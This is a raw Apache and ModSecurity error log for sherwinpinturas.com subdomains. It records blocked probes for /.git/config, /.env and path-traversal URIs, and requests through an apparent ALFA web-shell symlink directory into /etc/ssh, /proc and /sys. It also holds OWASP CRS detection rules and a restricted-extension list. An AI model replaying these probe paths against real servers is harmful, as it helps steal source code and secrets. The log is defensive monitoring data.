[Mon Oct 26 09:31:51.957019 2026] [security2:error] [pid 3040034:tid 3040034] [client 45.138.12.65:8013] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at9WR7cZuT5gdeNd6aUJpAAAAAs"]
[Mon Oct 26 09:31:51.957369 2026] [security2:error] [pid 3040034:tid 3040034] [client 45.138.12.65:8013] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at9WR7cZuT5gdeNd6aUJpAAAAAs"]
[Mon Oct 26 09:31:52.018560 2026] [security2:error] [pid 3039889:tid 3039889] [client 45.138.12.65:65474] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9WSFKL97q0JJCkTAItTgAAAA4"]
[Mon Oct 26 09:31:52.018795 2026] [security2:error] [pid 3039889:tid 3039889] [client 45.138.12.65:65474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9WSFKL97q0JJCkTAItTgAAAA4"]
[Mon Oct 26 09:31:52.019091 2026] [security2:error] [pid 3039889:tid 3039889] [client 45.138.12.65:65474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9WSFKL97q0JJCkTAItTgAAAA4"]
[Mon Oct 26 09:31:52.111665 2026] [security2:error] [pid 3036181:tid 3036181] [client 45.138.12.65:5770] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at9WSEW6-b5XD8XwGa-10wAAAAQ"]
[Mon Oct 26 09:31:52.111945 2026] [security2:error] [pid 3036181:tid 3036181] [client 45.138.12.65:5770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at9WSEW6-b5XD8XwGa-10wAAAAQ"]
[Mon Oct 26 09:31:52.112241 2026] [security2:error] [pid 3036181:tid 3036181] [client 45.138.12.65:5770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at9WSEW6-b5XD8XwGa-10wAAAAQ"]
[Mon Oct 26 09:31:52.157641 2026] [security2:error] [pid 3027735:tid 3027735] [client 45.138.12.65:17123] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at9WSHT09R7Np-FQ85dksgAAAAo"]
[Mon Oct 26 09:31:52.157999 2026] [security2:error] [pid 3027735:tid 3027735] [client 45.138.12.65:17123] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at9WSHT09R7Np-FQ85dksgAAAAo"]
[Mon Oct 26 09:31:52.158392 2026] [security2:error] [pid 3027735:tid 3027735] [client 45.138.12.65:17123] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at9WSHT09R7Np-FQ85dksgAAAAo"]
[Mon Oct 26 09:31:52.287027 2026] [security2:error] [pid 3040031:tid 3040031] [client 45.138.12.65:62826] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at9WSCDi6FEnz4zo40NhEgAAAAk"]
[Mon Oct 26 09:31:52.287090 2026] [security2:error] [pid 3040031:tid 3040031] [client 45.138.12.65:62826] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at9WSCDi6FEnz4zo40NhEgAAAAk"]
[Mon Oct 26 09:31:52.287156 2026] [security2:error] [pid 3040031:tid 3040031] [client 45.138.12.65:62826] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at9WSCDi6FEnz4zo40NhEgAAAAk"]
[Mon Oct 26 09:31:52.287422 2026] [security2:error] [pid 3040031:tid 3040031] [client 45.138.12.65:62826] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at9WSCDi6FEnz4zo40NhEgAAAAk"]
[Mon Oct 26 09:31:52.287766 2026] [security2:error] [pid 3040031:tid 3040031] [client 45.138.12.65:62826] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at9WSCDi6FEnz4zo40NhEgAAAAk"]
[Mon Oct 26 09:31:53.628620 2026] [ssl:error] [pid 3039787:tid 3039787] (70014)End of file found: [client 185.191.171.5:16954] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:31:55.574453 2026] [ssl:error] [pid 3040048:tid 3040048] (70014)End of file found: [client 3.216.86.144:43245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:32:06.148591 2026] [security2:error] [pid 3039996:tid 3039996] [client 130.12.180.176:23106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9WVrTtAEahQmBQcezwYwAAAAc"]
[Mon Oct 26 09:32:06.148858 2026] [security2:error] [pid 3039996:tid 3039996] [client 130.12.180.176:23106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9WVrTtAEahQmBQcezwYwAAAAc"]
[Mon Oct 26 09:32:06.149187 2026] [security2:error] [pid 3039996:tid 3039996] [client 130.12.180.176:23106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9WVrTtAEahQmBQcezwYwAAAAc"]
[Mon Oct 26 09:32:11.925395 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 3.229.164.203:29590] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:32:23.575921 2026] [ssl:error] [pid 3039996:tid 3039996] (70014)End of file found: [client 54.157.84.74:64747] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:32:27.658441 2026] [ssl:error] [pid 3040034:tid 3040034] (22)Invalid argument: [client 54.89.90.224:40354] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:32:31.644906 2026] [ssl:error] [pid 3038682:tid 3038682] (70014)End of file found: [client 100.28.49.152:53649] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:32:35.849552 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 52.71.218.25:49535] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:32:43.940960 2026] [ssl:error] [pid 3039889:tid 3039889] (70014)End of file found: [client 23.21.179.120:53502] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:32:47.670924 2026] [core:error] [pid 3040051:tid 3040051] (13)Permission denied: [client 18.232.12.157:13461] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/shpchp/uevent
[Mon Oct 26 09:32:55.699448 2026] [ssl:error] [pid 3038682:tid 3038682] (70014)End of file found: [client 100.28.44.58:28699] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:32:59.992716 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 98.82.39.241:54612] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:33:03.336098 2026] [ssl:error] [pid 3040051:tid 3040051] (70014)End of file found: [client 85.208.96.208:26058] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:33:08.190093 2026] [ssl:error] [pid 3038682:tid 3038682] (70014)End of file found: [client 34.231.118.144:65325] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:33:12.172973 2026] [core:error] [pid 3040051:tid 3040051] (13)Permission denied: [client 52.6.97.88:44351] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:08/subsystem/devices/PNP0A06:02/subsystem/devices/LNXCPU:01/physical_node/driver/cpu1/crash_notes
[Mon Oct 26 09:33:18.502264 2026] [security2:error] [pid 3038660:tid 3038660] [client 107.172.76.131:54171] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9WkpRlTJaCWkb9SEGORgAAAAM"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 09:33:18.502309 2026] [security2:error] [pid 3038660:tid 3038660] [client 107.172.76.131:54171] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9WkpRlTJaCWkb9SEGORgAAAAM"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 09:33:28.235028 2026] [security2:error] [pid 3040034:tid 3040034] [client 185.191.171.18:21688] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/dsnoop.conf"] [unique_id "at9WqLcZuT5gdeNd6aUJqgAAAAs"]
[Mon Oct 26 09:33:28.235440 2026] [security2:error] [pid 3040034:tid 3040034] [client 185.191.171.18:21688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/dsnoop.conf"] [unique_id "at9WqLcZuT5gdeNd6aUJqgAAAAs"]
[Mon Oct 26 09:33:28.235780 2026] [security2:error] [pid 3040034:tid 3040034] [client 185.191.171.18:21688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/dsnoop.conf"] [unique_id "at9WqLcZuT5gdeNd6aUJqgAAAAs"]
[Mon Oct 26 09:33:35.842056 2026] [ssl:error] [pid 3040051:tid 3040051] (70014)End of file found: [client 34.206.212.24:61063] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:33:39.835161 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 98.82.59.253:46270] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:33:43.690399 2026] [ssl:error] [pid 3040050:tid 3040050] (70014)End of file found: [client 52.3.26.180:57920] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:33:52.057790 2026] [ssl:error] [pid 3040051:tid 3040051] (5)Input/output error: [client 54.84.161.62:54534] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:33:55.722682 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 52.3.156.186:62072] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:34:23.762151 2026] [ssl:error] [pid 3040049:tid 3040049] (70014)End of file found: [client 35.171.141.42:13254] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:34:24.138458 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 85.208.96.211:62330] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/objects
[Mon Oct 26 09:34:31.907432 2026] [ssl:error] [pid 3040034:tid 3040034] (5)Input/output error: [client 52.73.6.26:3577] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:34:35.619144 2026] [security2:error] [pid 3038660:tid 3038660] [client 107.172.76.131:54171] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9W35RlTJaCWkb9SEGOTAAAAAM"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 09:34:35.619205 2026] [security2:error] [pid 3038660:tid 3038660] [client 107.172.76.131:54171] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9W35RlTJaCWkb9SEGOTAAAAAM"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 09:34:43.949366 2026] [core:error] [pid 3034836:tid 3034836] (13)Permission denied: [client 52.2.4.213:34230] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/unbind
[Mon Oct 26 09:34:48.422080 2026] [security2:error] [pid 3038660:tid 3038660] [client 107.172.76.131:54171] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9W7JRlTJaCWkb9SEGOTQAAAAM"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 09:34:48.422148 2026] [security2:error] [pid 3038660:tid 3038660] [client 107.172.76.131:54171] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9W7JRlTJaCWkb9SEGOTQAAAAM"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 09:34:57.543945 2026] [security2:error] [pid 3040049:tid 3040049] [client 43.173.1.69:45652] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/beta/bulletok1.php"] [unique_id "at9XAZ-46PxQOPM0le2-lQAAABM"]
[Mon Oct 26 09:35:01.152347 2026] [security2:error] [pid 3034836:tid 3034836] [client 16.216.88.176:12288] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ssh/ssh_config.d/05-redhat.conf"] [unique_id "at9XBbxRe1JDVouVZUptwgAAAC4"]
[Mon Oct 26 09:35:01.152800 2026] [security2:error] [pid 3034836:tid 3034836] [client 16.216.88.176:12288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ssh/ssh_config.d/05-redhat.conf"] [unique_id "at9XBbxRe1JDVouVZUptwgAAAC4"]
[Mon Oct 26 09:35:01.153174 2026] [security2:error] [pid 3034836:tid 3034836] [client 16.216.88.176:12288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ssh/ssh_config.d/05-redhat.conf"] [unique_id "at9XBbxRe1JDVouVZUptwgAAAC4"]
[Mon Oct 26 09:35:03.787297 2026] [ssl:error] [pid 3040034:tid 3040034] (70014)End of file found: [client 34.199.252.22:48041] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:35:11.916706 2026] [ssl:error] [pid 3040036:tid 3040036] (70014)End of file found: [client 34.195.248.30:6895] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:35:19.931744 2026] [core:error] [pid 3036181:tid 3036181] (13)Permission denied: [client 52.202.233.37:64531] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/subsystem/devices/device:06/eject
[Mon Oct 26 09:35:27.760853 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 52.70.123.241:58780] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:35:35.943900 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 54.167.32.123:64467] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:35:52.460970 2026] [core:error] [pid 3039886:tid 3039886] (13)Permission denied: [client 44.212.232.231:1734] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/input0/event0/subsystem/input1/device/firmware_node/physical_node1/driver/bind
